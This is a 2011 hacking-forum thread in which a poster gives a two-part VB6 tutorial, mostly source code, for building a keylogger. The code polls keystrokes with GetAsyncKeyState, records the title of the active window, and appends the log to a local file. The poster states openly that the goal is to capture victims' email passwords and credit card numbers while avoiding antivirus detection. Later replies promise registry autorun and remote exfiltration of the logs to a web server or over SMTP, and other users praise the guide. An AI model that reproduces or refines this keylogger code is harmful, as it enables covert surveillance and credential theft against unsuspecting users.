

Forum:[Hack Forums](#)

Thread: [Building An Advance Level Keylogger In VB6](#)

Black Sand - September 3, 2011, 5:56 am

BUILDING AN ADVANCE-LEVEL KEYLOGGER IN VB6

We all know what a keylogger is: a program that logs (records) the keyboard input on the system that its running. Since almost all of the information we enter in the system is through the keyboard, recording a victims keystrokes is an easy means of knowing his/her email passwords, credit card numbers and other information.

Moving on to our main point, building a keylogger in VB6 means implementing 3 things:

- 1- Listening (capturing) the keys that are being pressed. This is the sole purpose of a keylogger.
- 2- Getting the title of the window that these keys are being pressed in so that we know exactly what the pressed keys are for. This is not mendatory, but since its very helpful, we shall implement it in our keylogger.
- 3- Saving the listened keys and the window title to a file so that we (the hacker) can retrieve this information later.
- 4- Making our program autorun, so that it starts automatically with each windows boot. Again, this is not mendatory, but whats the use of losing our head coding a keylogger when it will run only once?

Now that we know exactly what we have to do, lets get to the practical part of our job.

Listening to keystrokes can be done in 3 ways. #1, by the windows built-in function `GetAsyncKeyState()`, #2, by the windows built-in method of Keyboard-Hooks, #3, by the windows built-in function `GetKeyboardState()`. The second method is easy to implement but its very obvious and antivirus software don't like programs without a recognized digital signature hooking the keyboard. Its a shoot-on-sight scene with them. Method 3 is safe like that but its very tedious, time consuming and boring to implement. So we are left with only method 1: the `GetAsyncKeyState()` windows function. Note that wherever "windows function" is said, it means that the mentioned function is already present in windows programming and we simply use it from there, we don't have to develop that function ourselves.

`GetAsyncKeyState()` windows function (the functions already present in windows functionality are known as API, so now onwards, when mentioning windows built-in functions, the term API shall be used) is present in the `user32.dll` file. This is how we use it in VB6:

```
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
```

Since this is our core function, lets understand its functionality before using it. (Remember that hacking is about learning and discovering, not just stealing people's passwords. The aim of this tutorial is to help you become a hacker, not a pathetic script kiddie.) This function takes a Long value as input and returns an Integer as output. The Long value given to it (`vKey`) is the code of the key that we want to check. All the keys on the keyboard are assigned codes from 0 through 255. We provide the function with the code of our key, and it tells us if that key has been pressed by the user or not. A return value of 0 indicates that they key is not pressed, while any other value indicates that the mentioned key has been pressed by the user. Lets understand it with an example.

```
If GetAsyncKeyState(65) <> 0 Then  
    Form1.Caption = "A has been pressed."
```

```
Else
  Form1.Caption = "A has not been pressed."
End If
```

65 is the code of the "A" key. We check if GetAsyncKeyState for 65 returns 0 or something else. If it returns 0 then we know that A has not been pressed. If it returns something else (not zero) then it means that A has been pressed. Before continuing, let's learn the key-codes of the most frequent and important keys because we shall be listening for them in our logger.

Key-Code Key-Name

```
65-90 Alphabetical Keys A (65) to Z (90)
48-57 Numerical keys zero (48) to nine (57) above the alphabetical keys
96-105 Numerical keys on the numpad num0 (96) to num9 (105)
8 Backspace
9 Tab
13 Enter
27 Escape
16 Shift
20 Caps Lock
186-192 ; = , - . / `
219 and 221 [ and ]
220 \
222 ' (quote)
32 Space
```

There are codes for the Ctrl, Alt, Arrow keys and Insert, Home, Del etc keys too, but they are not important in keylogging. We have dealt with the most important aspect now, so let's move on to capturing the title of the window in which the user is entering the keys.

Getting the title of the active window involves two steps: #1, getting the handle (the window-ID) of the active window, #2, using that handle to get the title/caption of the window. Since it involves two jobs, hence two APIs are used. Here they are:

```
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
```

As you can see, both the functions are once again in the USER32.DLL file. (Woo, what a coincidence! I suggest user32.dll be declared the official keylogging library :P)

Getting the title of the active window is done like this:

```
Function GetWinTitle() As String
  Dim api_title As String 'this variable will store the title
  Dim handle As Long
  api_title = String$(350, Chr(0)) 'set the string length to 350. that should be enough for any window title
  handle = GetForegroundWindow() 'get the handle of the window in focus
  GetWindowText handle, api_title, 350 'and now get the title of the window
  If Mid(api_title, 1, 1) = Chr(0) Then 'if the window has empty title
    GetWinTitle = ""
  Else 'if the window has a title then remove the null chars and return the title
    GetWinTitle = Left(api_title, InStr(api_title, Chr(0)) - 1)
```

```
End If
End Function
```

We now have all the essentials required to build a keylogger. So let's get down with the practical phase: coding. What we shall be needing in our project is a form with a timer control. Set the timer name to tmrLog and set its interval to 50 (which means 20 times a second. that should be enough for accurate keylogging).

With the information we have learned above, we should start with this code in the form:

Code Option Explicit

'the core keylog function goes first

```
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
```

'and now the two functions required for capturing the active window title

```
Private Declare Function GetForegroundWindow Lib "user32" () As Long
```

```
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
```

'this array contains the key-values with respect to their key-codes. we shall be assigning its value in a function later

```
Dim keys(0 To 255) As String
```

'and it would be easier if the CAPS and SHIFT keys are declared separately as constants

```
Private Const CAPS As Long = 20
```

```
Private Const SHIFT As Long = 16
```

'and another variable that stores the state of the Caps Lock (on or off) is also helpful

```
Dim Caps_State As Boolean
```

'same goes for the shift key

```
Dim Shift_State As Boolean
```

'this is the logfile path and name where the logged data is to be saved

```
Private Const logfile As String = "C:\mylog.txt"
```

'we start with the function that shall give us the window title

```
Private Function GetWinTitle() As String
```

```
    Dim api_title As String    'this variable will store the title
```

```
    Dim handle As Long
```

```
    api_title = String$(350, Chr(0)) 'set the string length to 350. that should be enough for any window title
```

```
    handle = GetForegroundWindow() 'get the handle of the window in focus
```

```
    GetWindowText handle, api_title, 350 'and now get the title of the window
```

```
    If Mid(api_title, 1, 1) = Chr(0) Then 'if the window has empty title
```

```
        GetWinTitle = ""
```

```
    Else 'if the window has a title then remove the null chars and return the title
```

```
        GetWinTitle = Left(api_title, InStr(api_title, Chr(0)) - 1)
```

```
    End If
```

```
End Function
```

'now we map the key-values to their key-codes (indexes) in the keys array

Private Function MapKeys()

Dim i As Integer 'this would serve as the loop variable

'starting with the alphabetic keys

For i = 65 To 90

keys(i) = Chr(i + 32)

Next i

'and the number keys above the alphabetical keys

For i = 48 To 57

keys(i) = Chr(i)

Next i

'and the numpad keys

For i = 96 To 105

keys(i) = "{num" & CStr(i - 96) & "}"

Next i

'and map the remainder of the keys manually

keys(8) = "{BkSp}"

keys(9) = "{Tab}"

keys(13) = "{Ret}" '13 is the enter key

keys(32) = " " '32 is the space key

keys(186) = ";

keys(187) = "="

keys(188) = ";

keys(189) = "-"

keys(190) = "."

keys(191) = "/"

keys(192) = "`"

keys(219) = "["

keys(220) = "\"

keys(221) = "]"

End Function

'this is the function that writes the logged data to our logfile

Private Function LogKey(ByRef key As String)

'first off, we need to get two variables for title. this shall be understood as we proceed

Static title As String, last_title As String

'and now a string that contains all the keys that have been logged but not yet saved to file

Static logdata As String

'get the title of the active window (in which the given key has been pressed)

title = GetWinTitle()

'compare this with the last title to check if this is a different window or the same

If title = last_title

'this is the same window as the last one, save the logged data in variable, but don't write it to

```

file yet
    logdata = logdata & key

Else
    'this is a different window. we should write the logged data of the last window in file first
    Open logfile For Append As #1
        Print #1, "==" & title & "=="
        print #1, logdata & vbnewline
    Close #1

    'now save the new key in our log variable
    logdata = key
End If

'before exiting, we must remember that this title is now the last title (for the time when this
function is used)
last_title = title
End Function

'in the timer calls, we check for the pressed keys, and if a key of our interest has been pressed, we
log it
Private Sub tmrLog_Timer()
    Dim i As Integer

    'we begin by checking the state of the SHIFT key
    If GetAsyncKeyState(SHIFT) <> 0 And Shift_State = False Then    'if shift has just been pressed
NOW
        LogKey "[SHIFT pressed]"
        Shift_State = True
    ElseIf Shift_State = True Then                                'if shift has been released NOW
        LogKey "[SHIFT released]"
        Shift_State = False
    End If

    'and if the caps key is pressed, then we toggle the caps variable and log the change, too
    If GetAsyncKeyState(CAPS) <> 0 Then
        Caps_State = Not Caps_State
        If Caps_State = True Then
            LogKey "[CAPS LOCK on]"
        Else
            LogKey "[CAPS LOCK off]"
        End If
    End If

    'we do the rest of checking in a loop so that we don't have to check each key manually
    For i = 32 To 255
        If GetAsyncKeyState(i) <> 0 And keys(i) <> "" Then LogKey keys(i)
    Next i
End Sub

Build an exe file of this coding and see how it works. Do you see a lot of key entries when the key
was pressed only once? This is due to the nature of the GetAsyncKeyState() API. We humans tend
to be slower than the electronic signals so when we pressed a key even for a short while, it is

```

detected as being pressed for a number of times in the GetAsyncKeyState() calls. Other than that, this keylogger should work fine (It works fine here on my system). Depending on the success of this introductory tutorial about building a full-fledge keylogger in VB6, I might add the methods to "refine" the input so that there is no garbage of logged keys and each key is logged only as much as it is pressed by the user. We shall also learn how to add an autorun registry key for our logger so that it is run automatically each time windows starts.

Until then, rate my this tutorial and inform me if it was useful to you, and what additional things I should to append to it. Till then HF ... see you guys later.

H For Hailey - September 3, 2011, 11:48 am

Amg. been looking for this everywhere >.< Thank you.

Sincerely, Hailey

Black Sand - September 3, 2011, 12:19 pm

LOLs, there's more to it. Like, adding the autorun registry entry, refining the input, sending log data to web server for remote logging and soo much more.

PM me if you want to join me in hacking projects.

Meercat - September 4, 2011, 5:15 pm

Good Tutorial I'd like to read more :p

FlawedLogic - September 4, 2011, 8:27 pm

Thanks, made for an interesting and informative read.

manu.mbm - October 13, 2011, 11:54 pm

it's really helpful...nice share mate..at least someone can record logs on his own computer..
but would you mind adding some sort of smtp server setup guide?

Black Sand - October 19, 2011, 3:02 pm

Hmmf. I guess I finally SHOULD write the next part of it. In the next part, we would be learning about how to refine the output of the GetAsynKeyState() function and we will also learn how to make the application auto-run in windows so that we no longer need to run it every time. I'd write this part in 2 days time (upto 22 Oct I hope).

And if people want me to carry on, we'd write another part about how to log data to the internet so that you don't need to have access to the target computer to read your logfile.

-Swag - October 20, 2011, 3:56 pm

Holding you to that comment ^ :)

Good read.

Black Sand - October 23, 2011, 8:11 am

OK guys I think I'm one day late to writing the promised next part. My apologies for this. I've been a bit busy. Here's the next part of the guide to writing your own advance level keylogger in VB6.

In this second part of learning how to build an advance level keylogger in VB6 we shall find methods to refine the output of our keylogging.

As discussed in the first part, we humans hold a key down for a split second before releasing it. Its

our natural speed and appears like pressing the key once to us, but since electronic signals operate at a very fast speed, the time we take in pressing the key once, electronic signal for the key being pressed may be sent for as much as 20-30 times if not more than that. This is why when we use the GetAsyncKeyState API to log key press events we get many entries for the same key when we have only pressed it for a split second. Our concern is all this scenario is this: how do we make our log data compatible to our fingers speed?

There are two approaches to solve this problem and both shall be discussed here, whichever you may want to implement in your keylogger. The first approach can be explained as such: we modify our coding so that it generates a keypress log only once when a key is pressed no matter how long the key has been pressed. The next keypress log is made only when the key is first released and then pressed again. Holding a key in pressed state for whatever time will generate only one keypress log.

Here is how we implement this approach:

- *- We create an array of 256 booleans (equal to the total number of keycodes for GetAsyncKeyState function)
- *- Whenever a key is pressed, the relevant variable in the array is set to TRUE (to mean that the key is now pressed)
- *- During all the time that this variable is TRUE, no further keypress log is made
- *- When the key is released, the relevant variable is set to FALSE (to mean that the key is now released)
- *- When this variable is FALSE and the key is pressed a new keypress log entry is made and this variable is again turned TRUE

When we translate this to coding, the idea takes this form:

Code Dim key_state (0 To 255) As Boolean

'in the timer event where we check for keypress events

tmrLog_Timer()

Dim i As Integer 'the loop variable

'we check for the keys being pressed or not

For i=0 To 255

If GetAsyncKeyState(i) <> 0 Then 'if the key is in pressed state

If key_state(i) = False Then 'if the key was not in pressed state last time we checked

LogKey keys(i) 'in this case we should log the key

key_state(i) = True 'and set the key pressed value as TRUE

End If

Else 'if they key is not being pressed

If key_state(i) = True 'if the key was being pressed the last time we checked

key_state(i) = False 'in this case we should set the key pressed value as FALSE

End If

End If

Next i

End Sub

This coding is a sample of how to block all keypress log triggers when the first keypress log has been made. Its upto you to merge this technique in your coding. The motive of this tutorial is to provide you with knowledge and ideas, not spoodfeed you and make you script kiddies.

Moving on, the second technique is about a time based trigger. Here we use a bit complex strategy to count how long has the key been pressed. If the key has been pressed for enough long period, we repeat the key after every few milliseconds (just like it happens in notepad and web browser text

fields). Where this approach provides us with a more refined and realistic simulation of how things work in all softwares, it is also a bit complex. It can be broken down to these steps:

- *- We create an array of 256 integers (equal to the total number of keycodes for GetAsyncKeyState function)
 - *- At the start of the program (in Form_Load event) we set all this array to 0 value to indicate no key has been pressed yet
 - *- Whenever a key is pressed, we check the relevant array value to see how long the key has been pressed for
 - *- If the array value is 0, it would mean that the key has been pressed fresh, in that case we make a keypress log and increase 1 to the count to remind us that the key has been found in pressed state for 1 time
 - *- For all the time we find the key in pressed state after this, we keep adding 1 to know how long the key has been in pressed state
 - *- If the array value reaches 13 it would mean the key has been pressed long enough to make another keypress entry. we also reduce the keypress count back to 8 here
- When a key is found to be unpressed, its relative array value is set to 0 (zero)

Translating this concept into coding, this becomes:

Code Dim key_presscount (0 To 255) As Integer

'in the timer event where we check for the keypress events

tmrLog_Timer()

Dim i As Integer 'the loop variable

'we check for the keys being pressed

For i=0 To 255

If GetAsyncKeyState(i) <> 0 Then 'if the key is in pressed state

If key_presscount(i) = 0 Then 'if the key has been pressed now (not pressed the last time)

LogKey keys(i) 'we should log the key

key_presscount(i) = 1 'and increase the press count by 1

ElseIf key_presscount(i) = 13 Then 'if the key has been held pressed for quite some time

LogKey keys(i) 'again we should log it

key_presscount(i) = 8 'and set the press count to somewhat back

Else 'if the key press is already logged and it isn't pressed long enough

key_presscount(i) = key_presscount(i) + 1

End If

Next i

End Sub

After implementing either of these keypress refining techniques our keylogger will start generating refined and much more natural output. However, remember that they shift key (Ascii Code 16) should not be treated like this. It ought to be checked every time if its pressed or not. That is because we log the press and release of this key separately. Same applies for Control and Alt keys. For the rest of all keys, these approaches do just fine.

In the next part of this tutorial we shall learn about how to make our keylogger autostart every time with windows start. To be honest, I use some coding written by expert programmers that makes reading/writing to windows registry much easier. We shall be using windows registry to make our keylogger autorun. I shall be telling you guys about where you can get that piece of coding (its a module written by Kenneth Ives) and how to use its functions. Till that time you guys understand the concept and coding of the subject discussed in this episode. Goodluck guys.

Awesomesome tutorial Man, but, can you Post some Screenshot.? thanks still I am going to give a try

Black Sand - *October 23, 2011, 8:20 am*

Screenshot of what? The coding screen of VB6 or what?

Techie - *October 24, 2011, 9:39 pm*

Thanks A Lot For this tut Mate !

Very Useful For Beginners !

greatic - *October 24, 2011, 10:59 pm*

Really great tut bro it really help that's what i call a step by step tut...thanks :)

e1337unk - *November 9, 2011, 7:10 pm*

Very interesting. Thanx for the code, helps with the understanding & deserves a (: